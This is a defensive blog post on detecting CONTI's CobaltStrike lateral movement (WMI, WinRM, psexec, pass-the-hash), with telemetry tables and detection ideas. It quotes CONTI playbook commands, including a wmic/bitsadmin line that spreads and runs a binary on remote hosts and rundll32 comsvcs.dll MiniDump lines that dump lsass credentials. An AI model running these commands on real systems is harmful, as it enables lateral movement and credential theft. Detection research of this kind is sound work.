# Detecting CONTI CobaltStrike Lateral Movement Techniques - Part 2

## Introduction

In this second and last part of detecting CONTI lateral movement techniques I will go through the rest of CobaltStrike's built-in capabilities documented in the CONTI leak.

In the first blog post I tried to cover the `jump` command capabilities and detection opportunities where we compared them to some built-in windows utilities.

For the first part, please visit : [Detecting CONTI CobaltStrike Lateral Movement Techniques - Part 1](https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-1)

## T1047 : Windows Management Instrumentation

### A primer to WMI

**WMI** is Microsoft's implementation of **Web-Based Enterprise Management** (WBEM) which is an industry initiative to develop a standard technology for accessing management information in an enterprise environment and **CIM** (Common Information Model) which is an open standard from the Distributed Management Task Force (**DMTF**). CIM provides a common definition of management information for systems, networks, applications, and services.

**WMI** can be used over `RPC/WinRM` protocol or `RPC/DCOM`. In this introduction I will be focusing on RPC/DCOM.

Data in WMI is grouped into WMI classes. WMI classes are then grouped into WMI namespaces. Most of the WMI classes exist under the root\cimv2 WMI namespace.

In summary each Namespace contains Classes which have:

* **Methods** : Actions that can be taken.
* **Properties** : Information that can be retrieved.
* **Instances** : Instances of the class objects (services, Processes, Disks) each instance with Methods and Properties.
* **Events** : Actions that WMI can monitor for and take action when they happen.

![WMI Namespace Structure](/files/tXQA9V9DHTN4K4QZNtwE)

WMI leverages DCOM server and client interfaces to communicate over the network between Windows Management Instrumentation Remote Protocol clients and servers.

When it comes to lateral movement one of my favorite data sources to check first is Zeek. Upon running the simulated lateral movement attack using CobaltStrike built-in command **`remote-exec`** **`wmi`**, the following telemetry was generated by Zeek.

![WMI Remoting Telemetry from Zeek](/files/7HhHQ4PdDsJAHVW7SQSM)

**`zeek.dce_rpc.endpoint`** column values are the interfaces while **`zeek.dce_rpc.operation`** are the methods defined in **WMI** and **DCOM** documentations. This is very helpful in order to understand how WMI looks like from a network perspective. Zeek can identify these GUIDs related to **IWbem** interfaces. A full list is documented in GitHub source code [here](https://github.com/zeek/zeek/blob/master/scripts/base/protocols/dce-rpc/consts.zeek).

![Sample of Zeek's supported IWbem interfaces](/files/BNyuZDtI3qdTnL9dbepH)

* **IObjectExporter::ServerAlive** : First we can see RPC binding information calls to the `IObjectExporter` interface using methods `ServerAlive` or `ServerAlive2` to determine server aliveness. Deciding the method is related to the **`COMVERSION`** in use.
* **IRemoteSCMActivator::RemoteCreateInstance** : The DCOM client MUST support the `Activation` and `OXID Resolution` DCOM mechanisms for creating and resolving object references. `Activation` mechanism can be achieved through two interfaces and three different methods, **`IActivation::RemoteActivation`** , **`IRemoteSCMActivator::RemoteCreateInstance`** , or **`IRemoteSCMActivator::RemoteGetClassObject`.**
* **IRemUnknown2::RemQueryInterface :** Every object can be bound to one or multiple interfaces. An Object reference counter is used to keep track of a Component Object Model (COM) objects. For acquiring additional interfaces on the object **`IRemUnknown::RemQueryInterface`** and **`IRemUnknown2::RemQueryInterface`** calls are used.
* An object reference is represented on the wire by a marshaled form called `OBJREF`.
* **IWbemLevel1Login::NTLMLogin :** According to MS-WMI documentation, during protocol initialization, The client MUST call the **`IWbemLevel1Login::NTLMLogin`** method.
* **IWbemServices::ExecMethod** : This call will return an interface pointer to **`IWbemServices`** management services where methods like **`GetObject`** which retrieves a CIM class or a CIM instance and **`ExecMethod`** which executes a CIM method that is implemented by a CIM class or a CIM instance, can be used.
* **IRemUnknown2::RemRelease :** The release sequence is then called to decrement the reference counter

Bellow is a mind-map where I tried to summarize the different interfaces and method used during WMI remote calls. This will help understand the telemetry recorded by Zeek in order to identify the best calls to focus our detections on.

![Mind Map of WMI Interfaces & Methods](/files/Z2RA4yYFAvps8vwZwPld)

As stated in the MS-WMI documentation, during protocol initialization, the client **MUST** call the **`IWbemLevel1Login::NTLMLogin`** method. This is a good indication of WMI usage over the network. However, a good baseline of users and assets with authorization to use WMI accompanied with a well defined change management process will significantly improve your detection success rate. `IWbemServices::ExecMethod` and `IWbemServices::GetObject` calls are also good indications of WMI accessing web-based management services.

* Zeek Telemetry:

<table><thead><tr><th width="188.9348601707389">Log File</th><th width="167.4780880456943">Endpoint<select><option value="3fb92905c55c43d1befe1fbf0397e24c" label="x86" color="blue"></option><option value="0dabedec39bb4a7ab4e1ab3dcea17aa3" label="x64" color="blue"></option><option value="c185ef4c0c60438a971655a7abb464eb" label="IWbemLevel1Login" color="blue"></option><option value="274afb92617a47068d12c8448ca2c59c" label="IWbemServices" color="blue"></option></select></th><th>Operation</th></tr></thead><tbody><tr><td><strong>DCE-RPC</strong></td><td><span data-option="c185ef4c0c60438a971655a7abb464eb">IWbemLevel1Login</span></td><td><code>NTLMLogin</code></td></tr><tr><td><strong>DCE-RPC</strong></td><td><span data-option="274afb92617a47068d12c8448ca2c59c">IWbemServices</span></td><td><code>GetObject</code></td></tr><tr><td><strong>DCE-RPC</strong></td><td><span data-option="274afb92617a47068d12c8448ca2c59c">IWbemServices</span></td><td><code>ExecMethod</code></td></tr></tbody></table>

### Remote-Exec wmi Command

CobaltStrike has a built-in lateral movement module called **`remote-exec`** which supports three commands : `wmi`, `winrm`, and `psexec`. Remote-Exec module is used to execute a command on a host remotely and doesn't pop a beacon unless it is used for that particular purpose by first uploading a script or a beacon file then execute it via remote-exec commands and use `link` or `connect` commands to assume control of the target.

In this section I will be exploring some generated telemetries from the endpoint perspective using `wmi` command.

* **`wmiprvse.exe`** process is spawned with the command line **`C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding`** and parent command line **`C:\\Windows\\system32\\svchost.exe -k DcomLaunch`**.

![Sysmon EID 1 WmiPrvSE.exe](/files/RPyd75gs2wNsnA2Xfxaz)

* EID **`5857`** was generated to report the start of WMI provider `cimwin32.dll`. There are several WMI providers. This is not very useful because WMI usage can be verbose.

![WMI Provider started EID 5857](/files/vbVG7OVtAVnGhTsqJXV1)

* The command is executed within the context of `*WmiPrvSE.exe*`.

![wmiprvse.exe spawning sysinfo.exe](/files/ZFn7gIxEiT3cbfdkyyS0)

![wmiprvse.exe process tree](/files/JQj1kn3K1DDxPYucShVd)

* By default, WMI uses a randomly selected dynamic port range for TCP **between `49152` and `65535`.**

<table><thead><tr><th width="150">EID<select multiple><option value="43f6b1c2d2c545d582a73d0e4ea6445f" label="6" color="blue"></option><option value="ebb3f844f6d2444db697d1f694b95e4f" label="31" color="blue"></option><option value="ad532b6e6f014bf18fc506b100982fad" label="3" color="blue"></option><option value="bb4ad0dcb0294e8cbad707101c991e5c" label="17" color="blue"></option><option value="10c0420def8447faa4d9a780e2cdaa23" label="18" color="blue"></option><option value="a8372481c2fd449ea63934a1d9a952fa" label="4656" color="blue"></option><option value="1eb9374367dd4c2c8219df386fec38e9" label="400" color="blue"></option><option value="f60270ce50ac4e0b8fab7a87b183b4dc" label="91" color="blue"></option><option value="867b64c392e8497a9fb944dd727dc6f3" label="31" color="blue"></option><option value="f4f420d2f90443f18f0ed9c854c59675" label="142" color="blue"></option><option value="34ed7466a9ca4f05a69d4e8a23c87893" label="1" color="blue"></option><option value="5c53286e244a415e811796431cd295a7" label="5145" color="blue"></option><option value="8bde251679214e0ea8810265ef321659" label="7045" color="blue"></option><option value="1e502df3387c456196fc22842c7ff620" label="4697" color="blue"></option><option value="abec465afb20462ca6ab62d7c2dd1434" label="13" color="blue"></option></select></th><th width="150">Action<select><option value="c6a35e999b6d4fc79a129d50962a6ceb" label="WSMan Session Creation" color="blue"></option><option value="8e4213b2c6e348ea8d69079977d8fc9f" label="Network Connection" color="blue"></option><option value="71c51880ae4449cc908f26253fda9080" label="Process Creation" color="blue"></option><option value="93bb8fb141d740eabef13cf3d4435027" label="Pipe Created" color="blue"></option><option value="818183bb97db44829b07c2554e76845c" label="Process Access" color="blue"></option><option value="a5f2dbcc9b7b4f3b8f00c4097f0dfe74" label="PowerShell Session Start" color="blue"></option><option value="00020f6e49d7406686cd816a9e746719" label="WSMan Operation Failure" color="blue"></option><option value="2c4c27f9068f45a1989de01c9bca6bc3" label="Network Share Access" color="blue"></option><option value="cac3b7e40d634805b3d681b8b2c4a8b1" label="Service Creation" color="blue"></option><option value="54d0517359044723be6200e2de951895" label="Registry Value Set" color="blue"></option><option value="561a7ae4740e42dc87a5fe571b59520e" label="Pipe Connected" color="blue"></option></select></th><th width="150">Provider<select><option value="743f4666951747eebdd4d6606af9932c" label="Microsoft-Windows-WinRM" color="blue"></option><option value="603d5362a0184c079bfe3bb86966de72" label="Microsoft-Windows-Sysmon" color="blue"></option><option value="954f225848ba4c239dd16c7d148a1927" label="Microsoft-Windows-Security-Auditing" color="blue"></option><option value="69ba023229744a5390976109d1075bb8" label="System" color="blue"></option><option value="aadd2300ef5445ef9c9da96a98deb2ba" label="PowerShell" color="blue"></option></select></th><th>Comment</th></tr></thead><tbody><tr><td><span data-option="34ed7466a9ca4f05a69d4e8a23c87893">1</span></td><td><span data-option="71c51880ae4449cc908f26253fda9080">Process Creation</span></td><td><span data-option="603d5362a0184c079bfe3bb86966de72">Microsoft-Windows-Sysmon</span></td><td><ul><li>Process Name : <code>wmiprvse.exe</code></li><li>Process Command Line : <code>C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding</code> or <code>C:\Windows\system32\wbem\wmiprvse.exe -Embedding</code></li><li>Parent Process Name : <code>svchost.exe</code></li><li>Parent Process Command Line : <code>C:\Windows\system32\svchost.exe -k DcomLaunch</code></li></ul></td></tr><tr><td><span data-option="34ed7466a9ca4f05a69d4e8a23c87893">1</span></td><td><span data-option="71c51880ae4449cc908f26253fda9080">Process Creation</span></td><td><span data-option="603d5362a0184c079bfe3bb86966de72">Microsoft-Windows-Sysmon</span></td><td><ul><li>Parent Process Name: <code>wmiprvse.exe</code></li><li>LogonID : Is not <code>0x3E7</code> (not a LocalSystem account)</li></ul></td></tr><tr><td><span data-option="ad532b6e6f014bf18fc506b100982fad">3</span></td><td><span data-option="8e4213b2c6e348ea8d69079977d8fc9f">Network Connection</span></td><td><span data-option="603d5362a0184c079bfe3bb86966de72">Microsoft-Windows-Sysmon</span></td><td><ul><li>Network Direction : <code>ingress</code></li><li>Image : <code>C:\Windows\system32\svchost.exe</code></li><li>Source port : <code>>= 49152</code></li><li>Source IP : is not <code>127.0.0.1</code> and not <code>::1</code></li></ul></td></tr></tbody></table>

Detecting malicious usage of WMI relies heavily on WmiPrvse.exe abnormal child processes behavior. However, some approaches can be taken to improve your detections. For example if you have a SCCM server, you might consider whitelisting the following paths in your process command arguments ([Reference](https://www.elastic.co/guide/en/security/current/wmi-incoming-lateral-movement.html)):

```
C:\\Windows\\CCM\\SystemTemp\\
C:\\Windows\\CCMCache\\
C:\\CCM\\\\Cache\\
```

Keep in mind that attackers might still abuse these paths to evade detections so baselining your assets, source IPs and users that are allowed to use WMI remotely is recommended to increase detection resilience.

By default only Local Administrators or Domain Admins can read WMI class information so in order to further refine your access control policies you can limit regular users permissions by adding them to the Distributed COM Users group and the Performance Monitor Users group.

### WMIC

In the leaked CONTI documentation, we noticed a lot of wmic.exe usage for remote command execution across multiple assets. For example, they use a batch file called WMI.BAT with the following command to spread a binary file across multiple hosts.

```batch
start wmic /node:@C:\\share$\\comps1.txt /user:"DOMAIN\\Administrator" /password:"PASSWORD" process call create "cmd.exe /c bitsadmin /transfer fx166 \\\\ДОМЕН КОНТРОЛЛЕР\\share$\\fx166.exe %APPDATA%\\fx166.exe&%APPDATA%\\fx166.exe"
```

Or interact with beacon through `shell` command to dump credentials :

```batch
shell wmic /node:[target] process call create "cmd /c rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump PID C:\\ProgramData\\lsass.dmp full"
```

**WMIC.EXE** is one of the Windows built-in utilities that leverages WMI protocol for command execution. For detection opportunities we can look for :

* From source point of view, process command line arguments `process` `call` `create` and for WMI remoting we can add the argument `/node`. You can use [@wietze](https://twitter.com/Wietze) [Windows Command Line Obfuscation project](https://github.com/wietze/windows-command-line-obfuscation) to validate command line variations for more resilient detections based on process creation events.

![wmic windows command obfuscation capabilities](/files/tuLDejHFCxLI7oLlBbsa)

* EID **`4648` A logon was attempted using explicit credentials** where the process name is `svchost.EXE` and service class `RPCSS*`. This event is a good DFIR artifact for differentiating between the original account and the account specified in the wmic command (In my case I didn't specify any credentials).

![EID 4648 for WMIC.EXE usage](/files/GT9dlXxkkqKFtu8tP1NP)

{% hint style="warning" %}
A service principal name (SPN) is the name by which a Kerberos client uniquely identifies an instance of a service for a given Kerberos target computer. There are multiple SPN registrations :

* `HTTP/hostname.contoso.com` like when using PowerShell Remoting via `Enter-PSSession`
* `WSMAN/hostname.contoso.com` like when using WinRM for Remoting
* `CIFS/hostname.contoso.com` like when using PsExec
* `HOST/hostname.contoso.com` for any service running on the computer with hostname `HOSTNAME`

The **RPCSS** service is the Service Control Manager for COM and DCOM servers. It performs object activations requests, object exporter resolutions and distributed garbage collection for COM and DCOM servers ([source](https://www.blackviper.com/windows-services/remote-procedure-call-rpc/)). **HOST** service can also be used for remotely executing commands on the target system via WMI ([source](https://adsecurity.org/?p=2011)).
{% endhint %}

![HOST Service used for remote WMI execution](/files/78SsER3W6FqycDWjVdeK)

* On the destination, as previously explained, looking for abnormal behavior of `WmiPvSE.exe` like spawning `PowerShell.exe` and `Cmd.exe` with suspicious arguments would be effective. (see previous table Endpoint for more details)

![wmiprvse.exe spawning system shells](/files/Hj6cochySyK6Ii3Vclvy)

The table bellow displays WMIC related telemetry generated from the source host :&#x20;

<table><thead><tr><th width="150">EID<select multiple><option value="43f6b1c2d2c545d582a73d0e4ea6445f" label="6" color="blue"></option><option value="ebb3f844f6d2444db697d1f694b95e4f" label="31" color="blue"></option><option value="ad532b6e6f014bf18fc506b100982fad" label="3" color="blue"></option><option value="bb4ad0dcb0294e8cbad707101c991e5c" label="17" color="blue"></option><option value="10c0420def8447faa4d9a780e2cdaa23" label="18" color="blue"></option><option value="a8372481c2fd449ea63934a1d9a952fa" label="4656" color="blue"></option><option value="1eb9374367dd4c2c8219df386fec38e9" label="400" color="blue"></option><option value="f60270ce50ac4e0b8fab7a87b183b4dc" label="91" color="blue"></option><option value="867b64c392e8497a9fb944dd727dc6f3" label="31" color="blue"></option><option value="f4f420d2f90443f18f0ed9c854c59675" label="142" color="blue"></option><option value="34ed7466a9ca4f05a69d4e8a23c87893" label="1" color="blue"></option><option value="5c53286e244a415e811796431cd295a7" label="5145" color="blue"></option><option value="8bde251679214e0ea8810265ef321659" label="7045" color="blue"></option><option value="1e502df3387c456196fc22842c7ff620" label="4697" color="blue"></option><option value="abec465afb20462ca6ab62d7c2dd1434" label="13" color="blue"></option><option value="929be9c13eea4bddadf804de1575178d" label="4648" color="blue"></option></select></th><th width="150">Action<select><option value="c6a35e999b6d4fc79a129d50962a6ceb" label="WSMan Session Creation" color="blue"></option><option value="8e4213b2c6e348ea8d69079977d8fc9f" label="Network Connection" color="blue"></option><option value="71c51880ae4449cc908f26253fda9080" label="Process Creation" color="blue"></option><option value="93bb8fb141d740eabef13cf3d4435027" label="Pipe Created" color="blue"></option><option value="818183bb97db44829b07c2554e76845c" label="Process Access" color="blue"></option><option value="a5f2dbcc9b7b4f3b8f00c4097f0dfe74" label="PowerShell Session Start" color="blue"></option><option value="00020f6e49d7406686cd816a9e746719" label="WSMan Operation Failure" color="blue"></option><option value="2c4c27f9068f45a1989de01c9bca6bc3" label="Network Share Access" color="blue"></option><option value="cac3b7e40d634805b3d681b8b2c4a8b1" label="Service Creation" color="blue"></option><option value="54d0517359044723be6200e2de951895" label="Registry Value Set" color="blue"></option><option value="561a7ae4740e42dc87a5fe571b59520e" label="Pipe Connected" color="blue"></option><option value="ad13d33436a14de5aace5f0f3a905ac9" label="Authentication" color="blue"></option></select></th><th width="150">Provider<select><option value="743f4666951747eebdd4d6606af9932c" label="Microsoft-Windows-WinRM" color="blue"></option><option value="603d5362a0184c079bfe3bb86966de72" label="Microsoft-Windows-Sysmon" color="blue"></option><option value="954f225848ba4c239dd16c7d148a1927" label="Microsoft-Windows-Security-Auditing" color="blue"></option><option value="69ba023229744a5390976109d1075bb8" label="System" color="blue"></option><option value="aadd2300ef5445ef9c9da96a98deb2ba" label="PowerShell" color="blue"></option></select></th><th>Comment</th></tr></thead><tbody><tr><td><span data-option="34ed7466a9ca4f05a69d4e8a23c87893">1</span></td><td><span data-option="71c51880ae4449cc908f26253fda9080">Process Creation</span></td><td><span data-option="603d5362a0184c079bfe3bb86966de72">Microsoft-Windows-Sysmon</span></td><td><ul><li>Process Name : <code>wmic.exe</code> </li><li>Process Arguments : <code>/node</code>, <code>process</code>, <code>call</code>, and <code>create</code></li></ul></td></tr><tr><td><span data-option="ad532b6e6f014bf18fc506b100982fad">3</span></td><td><span data-option="8e4213b2c6e348ea8d69079977d8fc9f">Network Connection</span></td><td><span data-option="603d5362a0184c079bfe3bb86966de72">Microsoft-Windows-Sysmon</span></td><td><ul><li>Network Direction : <code>egress</code> </li><li>Image : <code>C:\Windows\system32\wbem\wmic.exe</code></li><li>Source port : <code>>= 49152</code></li><li>Source IP : is not <code>127.0.0.1</code> and not <code>::1</code></li></ul></td></tr><tr><td><span data-option="929be9c13eea4bddadf804de1575178d">4648</span></td><td><span data-option="ad13d33436a14de5aace5f0f3a905ac9">Authentication</span></td><td><span data-option="954f225848ba4c239dd16c7d148a1927">Microsoft-Windows-Security-Auditing</span></td><td><ul><li>Additional Information : <code>RPCSS/*</code> </li><li>Process Name : <code>C:\Windows\System32\svchost.exe</code></li></ul></td></tr><tr><td><span data-option="929be9c13eea4bddadf804de1575178d">4648</span></td><td><span data-option="ad13d33436a14de5aace5f0f3a905ac9">Authentication</span></td><td><span data-option="954f225848ba4c239dd16c7d148a1927">Microsoft-Windows-Security-Auditing</span></td><td><ul><li>Additional Information : <code>host/*</code> </li><li>Process Name : <code>C:\Windows\System32\wbem\wmic.exe</code></li></ul></td></tr></tbody></table>

### Sigma Rules

The following rules present some ideas about detecting malicious WMI behavior.

* [sigma/sysmon\_wmi\_susp\_scripting.yml at master · SigmaHQ/sigma](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/wmi_event/sysmon_wmi_susp_scripting.yml)[s-](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/process_creation_lolbins_with_wmiprvse_parent_process.yml)
* [sigma/process\_creation\_lolbins\_with\_wmiprvse\_parent\_process.yml at master · SigmaHQ/sigma](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/process_creation_lolbins_with_wmiprvse_parent_process.yml)
* [sigma/process\_creation\_office\_applications\_spawning\_wmi\_commandline.yml at master · SigmaHQ/sigma](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/process_creation_office_applications_spawning_wmi_commandline.yml)
* [sigma/win\_susp\_wmic\_proc\_create\_rundll32.yml at master · SigmaHQ/sigma](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_susp_wmic_proc_create_rundll32.yml)
* [sigma/win\_susp\_wmic\_security\_product\_uninstall.yml at master · SigmaHQ/sigma](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_susp_wmic_security_product_uninstall.yml)
* [sigma/win\_susp\_wmi\_execution.yml at master · SigmaHQ/sigma](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_susp_wmi_execution.yml)
* [sigma/win\_wmiprvse\_spawning\_process.yml at master · SigmaHQ/sigma](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_wmiprvse_spawning_process.yml)

### Detection Validation

Atomic Red Team provides a good resource to test your WMI detections

* [atomic-red-team/T1047.md at master · redcanaryco/atomic-red-team](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1047/T1047.md)

EDR Testing Script :

> *Test the accuracy of Endpoint Detection and Response (EDR) software with simple script which executes various ATT\&CK/LOLBAS/Invoke-CradleCrafter/Invoke-DOSfuscation payloads*

* [GitHub - op7ic/EDR-Testing-Script: Test the accuracy of Endpoint Detection and Response (EDR) software with simple script which executes various ATT\&CK/LOLBAS/Invoke-CradleCrafter/Invoke-DOSfuscation payloads](https://github.com/op7ic/EDR-Testing-Script)

### DFIR

To provide more details about the WMI activity for your DFIR engagements, you can use ETW. To enable the event tracing of WMI, you can use the command line:

```powerquery
PS C:\> wevtutil.exe sl Microsoft-Windows-WMI-Activity/Trace /e:true
```

Be aware that ETW was made for debugging and enabling WMI event tracing features might generate a lot of data which will be stopped after reaching a certain size/duration limit.

#### References

* [Tracing WMI Activity - Win32 apps](https://docs.microsoft.com/en-us/windows/win32/wmisdk/tracing-wmi-activity)
* [Investigating WMI Attacks](https://www.sans.org/blog/investigating-wmi-attacks/)

## T1021.006 Remote Services: Windows Remote Management

### Remote-Exec WINRM Command

**`remote-exec winrm`** command is similar to `jump winrm64` in command execution under the context of wmsprovhost.exe except that it was not made for creating and maintaining a remote session hence `wsmprovhost.exe` terminates after execution.

![remote-exec winrm target process tree](/files/RdKVnq8sbYHCSOVef8Dj)

***Generated telemetry on the destination :***

<table><thead><tr><th width="150">EID<select multiple><option value="43f6b1c2d2c545d582a73d0e4ea6445f" label="6" color="blue"></option><option value="ebb3f844f6d2444db697d1f694b95e4f" label="31" color="blue"></option><option value="ad532b6e6f014bf18fc506b100982fad" label="3" color="blue"></option><option value="bb4ad0dcb0294e8cbad707101c991e5c" label="17" color="blue"></option><option value="10c0420def8447faa4d9a780e2cdaa23" label="18" color="blue"></option><option value="a8372481c2fd449ea63934a1d9a952fa" label="4656" color="blue"></option><option value="1eb9374367dd4c2c8219df386fec38e9" label="400" color="blue"></option><option value="f60270ce50ac4e0b8fab7a87b183b4dc" label="91" color="blue"></option><option value="867b64c392e8497a9fb944dd727dc6f3" label="31" color="blue"></option><option value="f4f420d2f90443f18f0ed9c854c59675" label="142" color="blue"></option><option value="34ed7466a9ca4f05a69d4e8a23c87893" label="1" color="blue"></option></select></th><th width="182.9628878125069">Action<select><option value="c6a35e999b6d4fc79a129d50962a6ceb" label="WSMan Session Creation" color="blue"></option><option value="8e4213b2c6e348ea8d69079977d8fc9f" label="Network Connection" color="blue"></option><option value="71c51880ae4449cc908f26253fda9080" label="Process Creation" color="blue"></option><option value="93bb8fb141d740eabef13cf3d4435027" label="Pipe Created" color="blue"></option><option value="818183bb97db44829b07c2554e76845c" label="Process Access" color="blue"></option><option value="a5f2dbcc9b7b4f3b8f00c4097f0dfe74" label="PowerShell Session Start" color="blue"></option><option value="00020f6e49d7406686cd816a9e746719" label="WSMan Operation Failure" color="blue"></option></select></th><th width="271.28418293616295">Provider<select><option value="743f4666951747eebdd4d6606af9932c" label="Microsoft-Windows-WinRM" color="blue"></option><option value="603d5362a0184c079bfe3bb86966de72" label="Microsoft-Windows-Sysmon" color="blue"></option><option value="954f225848ba4c239dd16c7d148a1927" label="Microsoft-Windows-Security-Auditing" color="blue"></option><option value="69ba023229744a5390976109d1075bb8" label="System" color="blue"></option><option value="aadd2300ef5445ef9c9da96a98deb2ba" label="PowerShell" color="blue"></option></select></th><th>Comment</th></tr></thead><tbody><tr><td><span data-option="34ed7466a9ca4f05a69d4e8a23c87893">1</span></td><td><span data-option="c6a35e999b6d4fc79a129d50962a6ceb">WSMan Session Creation</span></td><td><span data-option="603d5362a0184c079bfe3bb86966de72">Microsoft-Windows-Sysmon</span></td><td><ul><li>Process Name : <code>wsmprovhost.exe</code></li><li>Process CMD : <code>C:\Windows\system32\wsmprovhost.exe -Embedding</code></li><li>Process Parent Name : <code>svchost.exe</code></li><li>Process Parent CMD : <code>C:\Windows\system32\svchost.exe -k DcomLaunch</code></li></ul></td></tr><tr><td><span data-option="ad532b6e6f014bf18fc506b100982fad">3</span></td><td><span data-option="c6a35e999b6d4fc79a129d50962a6ceb">WSMan Session Creation</span></td><td><span data-option="603d5362a0184c079bfe3bb86966de72">Microsoft-Windows-Sysmon</span></td><td><ul><li>Network Direction: ingress</li><li>Process Name: System</li><li>Destination port : 5985 or 5986</li><li>User : NT <code>AUTHORITY\SYSTEM</code></li></ul></td></tr><tr><td><span data-option="bb4ad0dcb0294e8cbad707101c991e5c">17</span></td><td><span data-option="93bb8fb141d740eabef13cf3d4435027">Pipe Created</span></td><td><span data-option="603d5362a0184c079bfe3bb86966de72">Microsoft-Windows-Sysmon</span></td><td><ul><li>Network Direction: egress</li><li>Infected Source Process Name</li><li><p>Destination port : 5985 or 5986</p><ul><li>Pipe Name : <code>\PSHost.[%NUMBERS%].[%PID%].DefaultAppDomain.wsmprovhost</code></li><li>Process Name : <code>wsmprovhost.exe</code></li></ul></li></ul></td></tr><tr><td><span data-option="a8372481c2fd449ea63934a1d9a952fa">4656</span></td><td><span data-option="818183bb97db44829b07c2554e76845c">Process Access</span></td><td><span data-option="954f225848ba4c239dd16c7d148a1927">Microsoft-Windows-Security-Auditing</span></td><td><ul><li>Object Server : WS-Management Listener</li><li>Process Name : <code>C:\Windows\System32\svchost.exe</code></li></ul></td></tr><tr><td><span data-option="1eb9374367dd4c2c8219df386fec38e9">400</span></td><td><span data-option="a5f2dbcc9b7b4f3b8f00c4097f0dfe74">PowerShell Session Start</span></td><td><span data-option="aadd2300ef5445ef9c9da96a98deb2ba">PowerShell</span></td><td><ul><li>Host Name = <code>ServerRemoteHost</code> (Remote PowerSehll Session)</li><li>Engine Version (Good for Downgrading PS attacks)</li><li>Host Application : <code>C:\Windows\system32\wsmprovhost.exe -Embedding</code></li></ul></td></tr><tr><td><span data-option="f60270ce50ac4e0b8fab7a87b183b4dc">91</span></td><td><span data-option="c6a35e999b6d4fc79a129d50962a6ceb">WSMan Session Creation</span></td><td><span data-option="743f4666951747eebdd4d6606af9932c">Microsoft-Windows-WinRM</span></td><td></td></tr><tr><td><span data-option="867b64c392e8497a9fb944dd727dc6f3">31</span></td><td><span data-option="c6a35e999b6d4fc79a129d50962a6ceb">WSMan Session Creation</span></td><td><span data-option="743f4666951747eebdd4d6606af9932c">Microsoft-Windows-WinRM</span></td><td>WSMan Session Created Successfully</td></tr><tr><td><span data-option="f4f420d2f90443f18f0ed9c854c59675">142</span></td><td><span data-option="00020f6e49d7406686cd816a9e746719">WSMan Operation Failure</span></td><td><span data-option="743f4666951747eebdd4d6606af9932c">Microsoft-Windows-WinRM</span></td><td>Helpful when WinRM is not enabled on the targeted host</td></tr></tbody></table>

## T1570 : Lateral Transfer Tool

### Remote-Exec PSEXEC Command

`remote-exec psexec` command creates and start a service remotely with random Service Name and the passed on command as Service File Name. The main difference between this feature and `jump psexec` or `jump psexec64` is that `remote-exec psexec` does not generate a service executable and upload it to the target. As noticed before, CobaltStrike's service file spawns **`rundll32.exe`** with no arguments which is suspicious.

![remote-exec psexec command target process creation](/files/U7teCGkEJ0cwb89tAGiN)

Monitoring `services.exe` child process for malicious behavior like spawning system shells `cmd.exe` and `powershell.exe` or other discovery binaries like `whoami.exe`, `systeminfo.exe`, `net.exe`,...etc would be effective against this type of attack.

![remote-exec psexec process tree](/files/Qc45gXOzHKiMjuFjO4Ky)

![EID 7045 Event Details](/files/kCbDOYATmHzRPZAWvyrt)

In the CONTI leaked documentation, the playbook shows the usage of this module to dump `lsass.exe` memory via `comsvcs.dll`

```
remote-exec psexec [target] cmd /c rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump PID C:\\ProgramData\\lsass.dmp full
```

### Detection Rule

This detection rule from Elastic should be enough to detect such behavior.

* [System Shells via Services | Elastic Security Solution \[7.15\] | Elastic](https://www.elastic.co/guide/en/security/current/system-shells-via-services.html)

See [previous blog](https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-1) for more details on CobaltStrike **`psexec`** built-in capabilities detection.

## T1550.002 **Use Alternate Authentication Material: Pass the Hash**

### PTH

As defined by MITRE in ATT\&CK framework:

> *Adversaries may "pass the hash" using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.*

CobaltStrike has a built-in module called **`pth`** to perform pass-the-hash attack using Mimikatz's `sekurlsa:pth` module. As stated by CobaltStrike creator himself this is not OpSec safe since it presents low hanging detection opportunities for defenders.

![CobaltStrike PTH command](/files/uOPy7Chqopnm7CfrC69X)

PTH module has a hardcoded command that contains suspicious sequence of arguments such as **`*cmd.exe`** `/c` **`echo`** **`>`** **`\\.\\pipe\*` .** Monitoring process creation events with such arguments would be effective against CobaltStrike's way of implementing and automating **pass-the-hash** attack. Keep in mind attackers can always use **Mimikatz** **PTH** module where they can change these properties.

![PTH process creation event arguments](/files/iCS6ysg8xwy3qJNVtXoZ)

Another key event for detecting pass the hash is **`EID 4624`** with logon type **`9`** (**NewCredentials**), logon process `seclogo` and Authentication Package **`Negotiate`**.

![Detecting PTH using EID 4624](/files/N1raxwu0KRzREI19tgcv)

PTH detection observations :

